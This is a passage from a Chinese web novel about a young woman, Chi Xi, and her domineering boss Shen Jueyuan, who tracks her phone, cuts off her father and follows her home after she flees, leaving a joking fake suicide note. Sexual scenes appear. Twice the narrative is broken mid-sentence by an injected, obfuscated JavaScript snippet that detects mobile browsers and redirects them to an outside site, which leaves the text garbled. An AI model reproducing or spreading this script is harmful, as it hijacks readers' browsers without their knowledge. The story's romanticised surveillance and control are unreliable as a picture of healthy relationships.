换好衣服后出门,看到那位叫桃子的佣人,池溪和她道谢:“谢谢你昨天照顾我做的一切。” 桃子算是池溪目前在这个家里最要好的朋友了。 正在给花草浇水的桃子愣了一下:“不是我。” “啊?”池溪愣住,“那是....” 除了桃子之外,其他佣人都不会在未经她允许之下进入她的房间。 还能是谁,难道是她自己? 池溪一整天都没看到沈决远,还是在晚上她才得知,沈决远去找了那天在晚宴上,对她有羞辱发言的人。 他全程都很冷静,没有针对他们,只是追究了他们父母的责。 正所谓子不教父之过。 孩子受了委屈,他当然要替她讨要一个说法。 娱乐板块与财经板块最近被同样的新闻霸榜,不知道是哪个报社调查出来的秘闻。 想不到这些商业巨擘们的儿子居然玩的这么花。 睡女明星并让其打胎的都是小打小闹,竟然还有两男一女玩夹心,并且夹心还是男的。 最罕见的是,以平时社媒的尿性来看,这种影响巨大的负面新闻一般存活不了多久,很快就会被人花钱撤掉。 然而这次,却足足在头版头条挂了整整一周。供人作为饭后谈资进行讨论嘲笑。 如此恶劣的负面新闻,造成了大盘上千亿市值的蒸发。 池溪还是在那些人主动登门和她道歉时才知道,这些是沈决远的手笔。 那几个人现在躲在家里不敢出门,长辈正在给他们安排出国留学的手续。在国内显然是待不下去了,不仅是名声受损,还会被同阶层的排挤。 甚至连联姻这条路都无法走下去。 “其实....”看到那些人的丑事翻车,惧怕反而超过了大仇得报的畅快。 沈决远居然为了给她出气如此大动干戈。她仿佛看到了自己的未来。 事情败露后,她也会拥有相同的待遇吗。 他很轻地笑了一下:“是不是觉得我很坏?” 她没说话。 看来是默认了。 沈决远想,到底还是一群孩子。 他的做法已经非常温和了。如果是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118035|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在北欧,他可能会采取更加直接简便的方式。 那天的确是气昏了头,听到她说的那些话,手脚因为愤怒都开始变得僵硬冰冷。 他很少有如此失态的时候。 或许自己的确被她改变了很多。至少在这之前,他从未考虑过婚姻。 而现在,他却希望她能够永远留在他的身边。 沈决远解开自己身上的安全带,在池溪还没有反应过来的时候,他俯身靠近她。一只手按放在她身侧的车门上,另一只手掐着她的腰。 那个吻和他的气息一齐扑向她,循序渐进,从一开始的优雅绅士,到后面的急促狂热。池溪觉得自己的舌头都要被他咬掉了。 亲吻时伴随着吮吸声,她紧张地抓紧胸前的安全带,那两只手不知道什么时候放到了他的胸口上。 池溪没有任何反抗的能力,每一次快要缺氧窒息时,他都会及时松开她。 然后在她张大嘴巴拼命呼吸时,又会更加深入地吻进去。 他身上有着上位者的震慑与强势掌控,却又同时具备年上的儒雅和细腻引导。 这两种极致的反差让池溪无法抗拒,所以在沈决远压低了声音问她想不想要时。 她不知道该怎么拒绝:“我.....” 他很轻地笑了,用舌头轻轻舔-弄她的耳垂:“小河,你不说,我怎么会知道你心里在想什么?不管是想要的,还是不想要的,你都要大胆说出来。这根本不是什么难事,最难的是,你总觉得自己的想法无足轻重。” 池溪的心脏突然跳的很快。她无法想象,竟然有人能够如此准确地描述出她的内心。 但她应该怎么大胆地说出来呢,从小到大,她的所有想法都会被一票否决。她无法为自己做主。妈妈是强势的,爸爸又从未承担起父亲的责任。 她的童年就是一台没有胶片的相机。 或许是看出她的失落,男人很轻地笑了一下:“没关系,踏不出这一步也没有关系。我会努力读懂你的内心。” 他说:“不如我们设置一个确认词。这样你之后有想要、又不好意思开口向我索取的东西时,可以直接说这个确认词。” 池溪觉得这是一个好办法,她点了点头:“那...订什么词呢。” 沈决远略微挑眉,轻轻笑着。 一分钟,池溪涨红了脸,喊出了那个确认词:“da......daddy.” 她的乖顺让沈决远心情愉悦:“好孩子,稍微等一下。” 他拿出漱口水下了车,池溪看他很仔细地漱完口,甚至还给自己的手也做好消毒。 那瓶快和她大臂一样粗长的漱口水,在他手中却被衬托地袖珍。 池溪想,他们之间的体型差,每一次男上女下时,如果没有他刻意地用手臂支撑他自己,池溪恐怕早就被他给压死了。 他的肌肉密度大到像是压缩饼干,池溪咬上一口就可以一个月不用进食了。 这辆车停靠的路边,虽然路过的人少,但也不是完全没有。偶尔也会有散步的情侣从这里路过。 车内灯早就关了,明明车窗有遮挡帘,沈决远却故意没有降下来。 每当外面有脚步声时,池溪的身体就会因为紧张而变得紧绷。她拼命用手捂住自己的嘴唇,不让自己发出一点声音来。 她不敢看车窗外,因为会看到路过的行人。 也不敢低头,因为会看到半跪在她双膝中间的沈决远。 他的头前后挪动,最先注意到的是他的宽肩,她的腿此时搭放在上面。 衬衫下的肌肉绷紧发烫,和他绅士优雅的气质形成了极大的反差。 - 周有望试图联系过自己的女儿。当然不是为了延续所谓的父女情,而是想要通过池溪搭上沈决远这层关系。 他当初让池溪住进沈家,的确是抱着一种侥幸心理。小溪和沈二少年龄差距不大,几乎同龄,少男少女春心萌动,如果可以在朝夕相处中日久生情,不仅对他,甚至是对整个周家都是一桩大好事。 虽然他也清楚成功几率不大,那个沈二少眼高于顶,京城内那么多柔情似水的大家闺秀,他就没一个看上的。更别提他那个乡下长大,没有丝毫见识的大女儿。 只是..命运还真是玄妙。 沈二少没看上她,却被沈决远看上了。 周有望不清楚沈决远的具体产业,但他知道他在北欧几乎垄断了大部分的产业链,甚至横跨多个国家,如今他的团队分别去了南北极,在进行地质勘探。除了这些边角料的信息之外,其他的,他一无所知。 沈予亨的大儿子显然与他们不属于一个阶层。他很少参加他们举办的宴会,就算去了,也只是安静地喝上几杯酒后就离开。 其实周有望一直就有开拓海外市场的打算,如果能够得到他的帮助,这会是一件非常顺利的事情。 虽然不清楚小溪和他具体是什么关系,但通过他给小溪出头这件事可以看出,目前二人是保持着男女之间的关系。 周有望想给自己的女儿打电话,但电话拨通过去,却自动跳转到另一个号码上。 完全陌生的号码。 是一个男人接的。 “你是.....”他疑惑地再次确认了一遍手机,他的确拨通的是池溪的号码,为什么拨通之后却自动跳转到另一个号码上。 男人的声音稳重平和:“我是沈决远。” 周有望愣了一瞬,立刻赔着笑道:“沈贤侄,我是池溪的爸爸,今天我们....” 男人稳重优雅地打断他:“以后不要再联系她了。” 周有望再次愣住:“为...为什么?我是她爸爸,我...” 沈决远没有给对方说完的机会。 电话挂断后,他将手机放下,想了想,还是认为自己应该去看一看她。 池溪似乎对这最后的亲情还是有些难以割舍,虽然总是装出一副不在意的样子。 倘若真的不在意,她也不可能听话地留下来。 是从什么时候开始,认为她父亲的存在有些碍眼。 ——希望她将自己看作唯一依靠的时候。 他可以是她的丈夫,也可以是她的母亲,同样的,也能成为她的父亲。 她在不同的关系当中,情感需求是不同的。甚至还有点病态的恋父恋母情节。 成熟专一的丈夫,包容温柔的母亲,有担当且能够给她提供安全感的父亲。 他可以同时具备这些特质。 必要的时候,他还可以成为满足她所有需求的上帝。 她可以虔诚地向他祷告,和他忏悔。他会妥善地为她解决一切让她感到苦恼或是痛苦的事情。 敲门无人应答,沈决远直接推开她的房门。 里面空无一人。 她今天没有去公司,人事说她请了假。 沈决远换上拖鞋走进浴室,干燥的浴室没有使用过的痕迹。他又去了露台,秋千上的玩偶已经不在了。 他再次回到房间,打开她的衣柜。 空的。 打开第二排衣柜。 还是空的。 他走进书房,电脑被带走了,专业相关的学习书籍也被带走了。 他送给她的那些珠宝却还原封不动地放在珠宝柜里。 他从容不迫地点燃一根烟,只有桌上放着一张纸条,上面写着一行字:要说的话在第二排靠左的抽屉里。如果想要找到钥匙,请去保险箱内输入一串秘密数字。 沈决远直接用手砸开了抽屉上的锁。 取出那封信。 沈决远先生亲启: 当您看到这封信的时候,我想我已经自杀死掉了(?﹏?) 很感谢您这段时间的陪伴,但我去意已决 能在人生的最后一个阶段认识您,我很感激,也很开心 我想,这恐怕是老天看我可怜,施舍给我的最后恩赐。 我已经签署了遗体捐赠,在我死后会有相关机构将我的尸体带走。 所以不用找我,也不需要悼念我。 池溪绝笔(?﹏?) 男人叼着烟,看着这封满是泪痕的信。 一向情绪稳定的人,此刻也难免会被她的蠢笨气笑。 谁自杀会提前将自己的房间搬空,甚至节俭到连浴室里用了一半的香水都没有遗漏。 27.第二十七章 沈决远将那封遗书放入自己的大衣口袋之中,打算到时候拿着这封信去找她。 好孩子会获得奖励,坏孩子会被惩罚。 他会让她在被淦到说不出话的时候,一字一句将这封遗书念完。 错一个字,他的惩罚就会延长一个小时。 他在沙发前坐下,优雅从容地点燃一支雪茄。 然后解锁手机,看着屏幕内的数字坐标。 上次活动是在四小时前,现在固定在同一个地方,说明她待在自己的家里。 沈决远对中国不算了解,除了偶尔会亲自参与一些项目考察之外,基本上都待在北城。 他知道中国地大物博,但他对欣赏美景不感兴趣。 然而现在。 他看着手机中的锁屏壁纸,香烟在他的唇边缓慢燃烧。 升起的轻烟让他晦暗不明的情绪变得更加模糊。 他微微眯眼,眼神很淡。 壁纸几天前就更换了,是扫描了她房间相框里的照片。照片中的她应该只有十二三岁左右。婴儿肥明显,齐刘海的妹妹头,穿着一条不太合身的裙子,怀里则抱着一个快和她一样高的玩偶熊。 她笑的很开心。 看来他错过了很多。 她二十三岁前,人生的每一个阶段。 他选择用这张照片作为自己手机的壁纸,是因为想要时刻提醒自己,她真正开心时的笑容是这样的。 那个谄媚的胆小鬼,她在他面前露出的所有笑容都是讨好。 池溪回到老家后立刻就去看了姥姥姥爷和妈妈。他们的墓地是挨着的。如果不出意外的话,其实在她去世之后她也会被埋在这里。 这个地方类似村里的公墓。 但是村长告诉她,由于这里被人买下,虽然对方从未露过面,但按照那些资本家的脾性,用不了多久就会将这里开发成酒店。 池溪点头:“我知道的,我会尽快找到地方然后将他们的墓地迁出去。” 池溪被爸爸接走后,就一直在外地读书,只有一些节日才会回来。 这些日子以来她听到了非常多的赞美。他们夸她长大成人了,夸她从那个小不点长成了大美人。说小的时候完全没想过她会长得这么高。 池溪没想到‘高’这个字眼居然会出现在自己身上。 她不由得想到了沈决远,那个傲慢的上司,倘若他们看到他了,又会用什么词语来形容。 巨人? 池溪不清楚自己为什么会突然想到沈决远。 作为上司他严厉挑剔,作为父亲好友的长子,他傲慢冷淡,拒人千里。 这段时间池溪一直想要和他搞好关系,可他总是居高临下的审视她。那种让人恐惧的淡淡凝视,令池溪在这种压迫感中坐立难安。甚至有一段时间频繁地做和他相关的噩梦。 或许是身体感受到了她的崩溃和压力,会在频繁的噩梦之中穿插一些旖旎暧昧的春梦让她放松。 噩梦中的沈决远是强大的恶魔,他可以轻松撕碎她的身体,池溪第三人称的视角甚至可以清楚地看见自己是如何被撕碎的。 而在另一个梦里的沈决远,只有月夸下才是狰狞的恶魔。 从她的视角看到最多的,是踮起、不断颤抖的双脚,和身后那双优雅禁欲的男士皮鞋,熨烫妥帖的黑色西裤,甚至连裤脚都是平整的。 大小悬殊的脚,象征着他们同样悬殊的体型差。他抱住她双腿的手臂甚至比她的大腿还要粗壮。 事实上,池溪对于沈决远的仰慕很大一部分原因来自于弱小者对于强大者的羡慕与憧憬。 她从小遭受了太多的欺负,对于她来说,这些事情成为了家常便饭。 所以当她的人生中出现这样一个人时,那种仰慕和崇拜让她的心脏融化成一滩烂泥。 人总是会对自己想要成为的人心动。 对沈决远一见钟情的那个瞬间,她不止是被他的外形给吸引。 更多的是一种震惊,一种近乎疯狂的嫉妒。 原来这种完美的顶级人类在这个世界上是真实存在的。 舅婆知道她回来了,这几天经常和舅妈来家里帮忙。老房子太久没人住了,落了灰,不打扫不行。 看着她踩着凳子努力将手里的抹布伸向吊灯,舅妈让她下来。 她伸手握了握她纤细的手腕:“你这都快瘦成竹竿了,要是摔一下不得折了?” 池溪觉得自己最近还长胖了一点,但在舅妈眼中,体重不超过一百一都是不健康的。 舅妈注意到她戴着的那块手表:“不过你这手表是男士手表吧,你怎么会戴着一块男士手表?” 池溪自己也觉得奇怪。 她虽然不认识这块表,但表盘背后刻着的Richard Mille她认识,甚至还有唯一的序列号。 看到这块手表的第一反应,该不会是自己梦游时偷的吧? 但很快她就打消了这个念头,她不梦游。 或许这是一块假表,和那个娃娃一样,被黑心摊主给骗了。 等等,什么娃娃? 脑子里突然冒出的念头让她愣了一瞬。 舅妈见她突然不说话,以为她是身体不舒服了:“怎么了小河?” “没事。”她摇摇脑袋,“这表应该是我在天桥地摊上买的假表。” 舅妈一听正好:“男士手表反正你也用不上,拿去送给你小舅。他在工地上班不方便带手机,连几点了都不知道。” 池溪点点头,刚要将手表从手腕上摘下。 摘了一半她又重新戴回去:“我下次给小舅买一块新的吧,这个还是算了。” “这个就行,我觉得这块表看上去做工结实也耐用。而且这个指针看上去像是真的黄金。” 有些东西,就算你的主观意识认为它是假货,但那种靠大量金钱堆砌出来的精细是无法被掩盖的。 好比这块手表,就连表盘玻璃散发的淡淡光泽都是尊贵典雅的。 池溪想了想,还是将它重新戴好。 万一真是她梦游时不小心偷来的怎么办,到时候自首也需要退还赃物来申请减刑。 “这个还是算了...”她笑着拒绝舅妈,说改天给小舅买一块更好的。 舅妈不知道嘟囔了句什么,扫兴地去收拾里屋了。 池溪自从回家后就没有接到一通爸爸打来的电话。她对他多少存在一些怨恨。 他害了妈妈的一生,最后却连给她扫一次墓都做不到。 郑伯母倒是联系过她,询问她安全到家了没。 她在离开北城之前去找了郑伯母,和她说了这件事。当时郑伯母和沈伯父脸上有一种难以读懂的复杂情绪。 他们显然有话要问她,但不知出于什么原因忍了回去。 尤其是沈伯父,那种如释重负的感觉太过明显。 池溪其实一直以来都有这个想法,她想在老家读研或是考公。自从入职那家公司之后,她深刻领会到了学历的重要性。 她这个关系户受够了冷眼,尤其是沈董。 虽然是他亲自给自己开的这扇后门,但同时她也清楚,对于沈决远来说,将她招入公司就像是将一块垃圾捡了回来。 她甚至无法满足他基本标准的百分之一。 想到这里,池溪就有一种爱恨交织的复杂情愫。当然,现阶段恐惧的恨是大于爱的。 她就是因为他在公司的冷酷严厉,以及家里的傲慢无视,所以才忍无可忍决定离开的。 晚上舅妈他们离开后,池溪熟练地登录论坛,点开之前发布的那则与沈决远相关的帖子。 直到现在还不断的有人在更贴骂她。 说她凡尔赛。 十岁时被骂,哭了,十二岁被骂,忍了,现在被骂.... 她叹了口气,删帖了。 她果然还是不该奢求不属于自己的东西。就算沈决远真的眼瞎看上她了,池溪想,她的第一反应不是高兴,而是逃避。 她应该会躲起来吧。 她不敢肖想不属于自己的东西,男人也是。 或许是因为五行缺水的原因,池溪尤其喜欢雪天和下雨天。 今天早上播报天气的女主持人在电视中提醒大家出门记得带上雨具,晚八点会有一场超强台风从福市登陆,这边也会遭受一些影响,所以大家要关好门窗,尽量避免出门。 池溪不知道是不是自己的错觉,从早上开始,她就有一种自己的行程被操控的错觉。 本来打算出门见一个朋友,但朋友临时和她道歉,她家附近出了些意外,她可能暂时去不了。 于是改成了明天。 舅舅舅妈一家原定的外出旅游也因为巴士暂停运行而无法按时出发。 折返的路上又因为道路维修,只能绕行。但需要多花费两个小时的时间。 于是舅妈决定先去池溪家。 在那里等雪停。 然后就出现了现在这一幕,舅妈一家出现在池溪的家里。 事实上,池溪的亲人其实只剩下他们了。 上一次这么多人聚在一起,还是妈妈的葬礼。 不知道为什么,她有一种怪异的预感。好像上天让这么多偶然同时发生,就是为了等待接下来即将发生的一件‘大事’ 池溪没有多想,一家人坐在一起吃着饭追着剧。 是舅妈最爱看的短剧,她投屏在电视上,全家人不得不一起看。 开篇就是高高在上的集团掌权人看上了一无所有的灰姑娘,并对她强制爱。可惜男主的身材和长相差了点,个子看上去挺高,一米八几,但太瘦,连西装都撑不起来,白斩鸡一样。 池溪觉得西装还是得有肌肉线条的人穿着才好看。她见过最适合西装的人就是沈决远。 舅妈好奇地问池溪:“你在北城就没碰到什么霸总吗?” 她知道池溪的父亲找了个有钱妻子。 池溪想到沈决远,她抿了抿唇:“碰是碰到了....” 舅妈的眼睛立刻亮了:“和电视剧里的情节一样?” 池溪觉得舅妈的想法过于天真了,不是所有的霸总都是短剧里的那样。 他们的阅历和背景令他们周身立起一道天然屏障,除非他们允许,否则没有任何人可以跨过那道屏障去接近他们。 藏在绅士教养下的疏离才是最可怕的。 他们并不会表现出对你的抗拒,而是一种无视。哪怕是一条狗来到他们脚边,也会低下头看一眼,但人却不一定。 这种居高临下的压迫感是伤人的。它会激起当事人的自卑心理。 池溪在沈决远的身边就时常会有这样的感觉,她觉得自己像是居住在下水道里的老鼠。 她非常害怕他没有任何情绪的凝视。 “不一样...”回想起这一切,池溪变得沉默了一点,她扒了一大口饭,“真正的有钱人是不会爱上灰姑娘的。” 底层穷人对于他们来说是打折商品上的封条。他们不会购买打折商品,所以也不可能会接触这些封条。 舅舅用胳膊肘撞了舅妈一下,示意她不要再说了。 谁不知道小河是以什么身份被接去的。小河是个小窝囊,她父亲是个大窝囊,肯定不敢得罪他岳父一家。小河的处境自然也不可能好到哪里去。 说不定这次突然回来也是因为不想继续遭受那些上流人士的白眼。 舅舅安慰她:“别想太多,那种地方本来就不是我们这些普通人能够掺合进去的。你放心,舅舅一定会给你找一个条件最好的丈夫。” 他最近的确有一个合适的人选。 父母都是体制内,而他也是有编制的老师。 个子也高,一米七八,五官端正。 舅舅在那所学校的食堂当厨师,可以说是近水楼台先得月。他告诉池溪:“他比你大三岁,研究生毕业,今年刚入职。学校里好多老师抢着给他介绍对象。我把你的照片拿给他看了,他一眼就相中了你。” 池溪眨了眨眼:“呃...” 她知道这是自己回到老家后肯定会经历的事情,但没想到会来的这么快。 不过听舅舅描述的,对方的条件的确很不错。 至少对于她来说。 她又无法控制地想到了沈决远。 一米七八,站在这位一米九二的男人面前会有多大区别? 算了,池溪觉得自己不该拿一个混血男去欺负自己的同胞。 身高是北欧人的天然优势。 她点了点头,刚要应答。 门外传来敲门声,没有半分急促,敲两下就停。 不知道为什么,池溪竟然从敲门声中听出了优雅从容。 舅舅好奇看她一眼:“这个天气会有谁来?” 池溪很久没有回来了,附近的邻居基本上都搬离了这里,重新住进来的都是一些生面孔。 平时除了舅舅一家,几乎没人会来找她。 更何况是这个时间,这个天气。 舅舅起身去开门,围坐在桌前的人此时都将眼神移了过去,包括池溪。 家里的老房子还在使用最老式的插销门锁。 斑驳的白色墙皮,破损的木门,以及生锈的门锁。甚至连客厅的灯都是她回来之后换的。 舅舅将门打开,池溪最先感受到的是大雪天的寒冷。 这里和北城的温度对比强烈,寒意是刺骨的。 再然后,她闻到了熟悉到令人上瘾的香味。 泛着微微的苦意。 随着木门朝左右两边拉开,穿着黑色柴斯特大衣的男人出现在门外。笔挺的西装熨烫妥帖。 他与这里格格不入,仿佛身处完全不同的两个图层。 舅舅在食堂做大锅饭,经常需要单手颠锅,所以相比其他人,舅舅的身材是结实的。 甚至连舅妈都说,当年嫁给他就是看中他的身材。 可是现在,舅舅站在门内,却被衬托的无比渺小。 无论是他的身高,还是他的存在感。 那种平静的压迫感像水流一样。 不仅可以轻易地将人溺毙,也能平和的状态将人刺穿。 所以池溪才总觉得这些人可怕。 比起情绪稳定却冷血绝情的人。她反而更愿意和情绪没那么稳定,但所有心思都放在明面上的人相处。 她害怕自己会悄无声息的死了。 但是.. 池溪看着来人愣了很久。 “沈..董?您怎么来了。”她站起身,在称呼上纠结了一番。 她其实很想和其他人一样喊他决远哥哥。 上次在沈家的宴会中,她听见那个暗恋他的女生也是这么喊他的。 决远哥哥。 可是她知道,沈决远并不想听到这样的称呼从她口中说出来。 他嫌弃她私生女的身份。她知道的。 屋子内静悄悄的,池溪这才发现所有人都以一种震惊的神色看着来人。 沈决远并不是一个人来的。外面还站在几个男人,其中一个为他撑着伞。 难怪他的肩上和头上都没有沾上半片雪花。 沈决远走了进来。 他没有立刻追责。 目光首先被这间破烂的屋子给吸引。 池溪有些局促地站在那里,她不知道沈决远为什么会过来。 是出了什么意外吗? 公司的事情? 她突然想到自己带回来的那块男士手表。 难道那真是她偷来的??? 天呐,她两眼一黑,只觉得整个人都处在一种天旋地转的晕眩之中。 她现在满脑子都是一个问题,如果沈决远报警的话,她会判多少年? 沈决远站在她的身边,目光环顾四周。 他曾经为了立下慈善家的好名声,亲自去过北欧的一些贫民窟。 在他看来,穷和非常穷是没有区别的。 他无法想象池溪是在这种地方长大。 他略微垂眸,视线停在她的卧室。 她出来的时候忘记关门,从沈决远这个角度可以很清楚地看到里面的构造。 甚至还没有kael的笼子大。 kael是他养的那头美洲黑熊。它每个月的基本花费需要十万美元。 他不知道自己为什么要将池溪和它做对比。 但只要想到她是在这种地方长大,生活水准甚至不如他的宠物。 沈决远原本的情绪因为心疼而淡化了许多。 他这次是来亲自将她‘抓’回去的。 订婚前逃跑,没有半句解释,只有一封蠢到令人发笑的‘遗书’ 沈决远对待宠物的方式赏罚分明,这也是他未来教育孩子的方式。 他认为适当的惩罚和奖励能让人变得诚实。 但是,他无法忽视她的生长环境。她在这种地方长大,没有父亲,只有工作忙碌无法陪伴她的母亲。 他意识到爱的确会让人变得心软。 池溪对他的恐惧大于“爱慕”,他们之间甚至没有多少交流,最亲密的时候大概就是在梦里。 那几个旖旎淫-荡的春梦里。 他在她的梦里像是一个无情的打木庄机器。 池溪想,梦境是自我的折射,或许这就是她一直渴望的。 她希望能够看到沈决远傲慢之外的另一面。他这样高贵典雅的绅士,变成一条发情的公狗时会是什么样子。 她无比好奇。 池溪紧张到不敢说话,但还是不得不去面对。 “沈董,我...我和公司提交了离职申请。”所以她不是擅离岗位。 沈决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128392|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远垂眸看了她一眼,衣服有点薄。 “不冷吗?”他轻声问。 池溪因为他突然的关心,愣了很久。 “呃....”她摇头,又点头,“有一点,因为刚回来,家里的暖气还没开始供,所以....” 沈决远把自己的大衣脱了,动作自然地搭在她的肩上。甚至还轻轻裹住,扣上扣子。 池溪瞬间体会到了那种沉甸甸的重量。大衣上甚至还带着他的体温。 男人的体温原来这么高。 她心猿意马的想着。 同时又不得不警惕,他为什么突然对自己这么体贴,是被夺舍了,还是别有所图。 可他能图自己什么呢,图她家里的锅碗瓢盆吗。 “沈董,是有什么事情吗....” 沈决远认为教训她的事情可以先往后推迟,她现在这个样子实在让人不忍心。他对自己有些责怪,为什么不能在她的幼年时期就认识她。 如果能早点认识她,这样的日子他一天都不可能让她过。 他会亲手养大她。 “手是怎么回事?”他注意到池溪手上的创口贴。 池溪抿唇:“呃...那天打扫卫生的时候不小心划破了。” 沈决远握住她的手腕,仔细检查还有没有其他地方受伤。 “沈董....”这种陌生的男性触感让池溪再次愣住,她甚至连挣扎都忘了。 是忘了还是不舍得。 “你从刚才就一直称呼我沈董。”沈决远淡声表达自己的不满。 她怔了怔,不喊沈董喊什么。 好吧,她忘了自己已经离职了,不再是他的下属。 她改口:“沈先生....” 沈决远的眉头再次皱了起来。他敏锐地察觉到池溪身上发生的变化,不仅是对他的态度。 还有一种细微,更不易察觉的。与其说是不易察觉,倒不如说是他不愿意相信。 沈决远终于肯将自己的注意力分给客厅内的其他人。 他想要在这些人面前留下一个好印象,是一件轻而易举的事情。 此时温和有礼地做了自我介绍:“抱歉,现在才自我介绍似乎有些晚了。我叫沈决远,是池溪的未婚夫。” 他取出那份请柬,放在桌上。 这是他让他们“聚”在这里的主要目的。 舅舅舅妈早就愣住了,连话都忘了说,此刻怔怔地看着来人。 沈决远知道中国的礼仪是尊敬长辈,所以他将请柬放在最年长的长辈面前:“订婚宴在一个月后,我会安排人过来接您。如果您愿意的话,也可以提前去那边住下。” 虽然是第一次见面,并且这次见面也显得非常突兀。 但舅婆对这个外孙女婿非常满意。 难怪池溪这么抗拒相亲,家附近那些幼稚的小子的确和他没法相比。 成熟稳重,温柔谦和。 并且长相英俊,个子还高。 “你和小河两个人好好的就行。我们人多,去了会麻烦到你。” 他很淡地笑了笑:“不麻烦。您放心,我会安排好一切。” 池溪花费十分钟才确认自己不是在做梦。 “等等等...等等,我们什么时候要结婚了???” 看她急到连话都说不清,沈决远体贴地将她拉到自己身前,温柔地替她拍打后背顺气。 她总是这样,心肺功能一般,遇到事情就容易喘不上气。 “一周前就敲定了,这些邀请函应该已经送到客人们手中。包括你的父亲。”他顿了顿,语气温和,“我知道你不想见他,可我不希望你的婚礼因为少了一位见证人而留有缺憾。。” 她什么时候不想见到她的父亲了。 她的确讨厌他,但这是两码事。 如果你的cursh突然有一天说要和你结婚,你是会高兴,还是激动? 池溪选择了逃跑。 她为什么要和沈决远结婚? 沈决远的存在是她少女时期一个不敢去做的梦。 可让她和一个明确厌恶她的人结婚。 池溪想,自己还没有贱到这个程度。 所以她眼神警惕地推开了他。 “我不知道您为什么要突然这么说....”她抿了抿唇,心中复杂的情绪在不断翻涌,可是窝囊的本性让她选择了一忍再忍,“如果您想用这种方式羞辱我...没有这个必要,我知道我是私生女,我自己也很有自知之明,您不会让一个私生女成为您的妻子,这是您之前亲口告诉过我的,我知道的。” 沈决远的眼神逐渐变了,不再是无动于衷的从容与冷静。 他站在暗处,稳了稳情绪,声音仍旧沉缓:“我的确说过这些话,但人的想法不是永远一成不变。” 池溪:“但我的身份却是永远一成不变的。” 她不知道沈决远为什么要千里迢迢地来找她,仅仅只是为了用这种方式羞辱她吗。 还是说他真的想和她结婚?那原因是什么呢。 总不能是因为喜欢她。 她宁愿相信他是为了将她骗去北欧卖掉,也不可能相信沈决远爱她。 这太荒诞了,短剧都不可能出现这样的剧情。 “还有这个...”她将手表从外套口袋里掏出来,塞到他的怀里,提前解释,“这不是我偷的,等我发现的时候它就已经戴在我的手上了。” 沈决远低头看着那块还给他的腕表,他亲手戴在她的手上,防止她走丢,也预防她玩的太疯,忘记回家。 沈决远不语。 池溪想,刚换的灯效果也很一般,果然生意不能找熟人做。舅妈说对方是她的老同学,找他买东西可以打折。这才用了几天就又不怎么亮了。 她无法看清面前那张英俊立体的脸。 说实话,刚才沈决远对她做的一系列事情。又是脱掉自己的大衣为她穿上,又是把她抱在怀里轻轻拍背,又是为她整理乱掉的头发。 那种体贴的年上感让她心脏乱跳。 她喜欢比自己年龄大的男人,这点从她从小接触的言情小说和漫画就可以看出来。 但这里的年龄大不仅仅只有年龄大。 她喜欢那种藏在温和下的强势掌控,以及犯错后的训诫,还有可以为她遮住一切风雨的结实身躯。 以及处理所有事情的强大能力。她渴望这种铺天盖地的安全感。 最重要的是,要给予她独一无二的爱与尊重。 前面那几条沈决远全部符合,除了最重要的两条。 池溪以前总会想,沈决远就像是上帝按照她的喜好审美创造出来的。甚至连他锁骨旁那些褐色的痣都让她心动不已。 无论是他健壮性感的肌肉线条,还是他的优雅绅士的气质,在池溪看来都有一种带劲的性感。 但她知道他厌恶自己。 他甚至连她身上的香味都会嫌弃。 因为廉价刺鼻。 她的存在同样也是。 那为什么还要和廉价碍眼的她结婚呢,池溪不明白。 她在那里疑惑,沈决远则在她的疑惑中,神色越变越暗,越来越阴沉。 到了最后甚至与角落的黑暗融为一体,像是蒙着一层黑雾。 他的喉结滚动一下,眼底的情绪像是海中暗潮,一场随时可以摧毁一切的可怕风浪正在平静的眼底蓄势待发。 分明是冷静理智的姿态,却又带着极具侵略感的危险张力。 他早就察觉到,却不愿意往那方面去想的现实正在不断被揭开。 他那么聪明,比池溪本人还要了解她自己。 从她看向他的第一个眼神,他就猜到了不对劲。 沈决远克制住自己急促的呼吸,握住她的手:“你忘记我了。” “什么?”池溪那张素雅的脸上带着畏惧,“我...我没忘记您,您是沈伯父的大儿子,沈决远...也是我之前的上司...” 他咬着牙,目龇欲裂:“你忘记我了,你怎么敢忘.....” 一周前—— 池溪终于找到了那个摊贩老板,对方也按照她的要求将解绑娃娃的方法告诉了她。 因为担心解除绑定后的沈决远会发现这一切。 所以池溪才会留下那封遗书,在解绑之前选择一逃了之。 她心里那块名为内疚和恐慌的石头终于落下。与此同时,因为那个娃娃引发的一切事情也在她的脑海中被抹去。 老板没有告诉她的是,强制解绑会产生副作用。 虽然说是副作用,其实也算是修正了一切。 她没有忘记沈决远,只是忘记了他们做过的一次又一次的爱。 以及不断扩大的,对他爱意。 在池溪的眼中,沈决远还是那个对她充满偏见的傲慢上司。 28.第二十八章 暗恋是一种怎样的感受? 对于十八岁的池溪来说,是酸涩的,是痛苦的,也是清醒的折磨与沉沦。 她无法和身边同样处境的朋友讨论。 因为她们暗恋的是身边可以看见,可以碰到,偶尔还可以一起上下学的男生。 但对于十八岁的池溪来说,暗恋是一级级无法跨越且永远看不见的台阶,她走一辈子也无法走到那个人的身边,她甚至连他的背影也无法看见。 电视里总说,一代人的财富是靠几代人的积累。 那么她的祖先从什么时候开始努力,她才有机会站在那个人身边呢。 春秋战国时期吧。 每次想到这些,池溪就有一种挫败与自卑的情节。 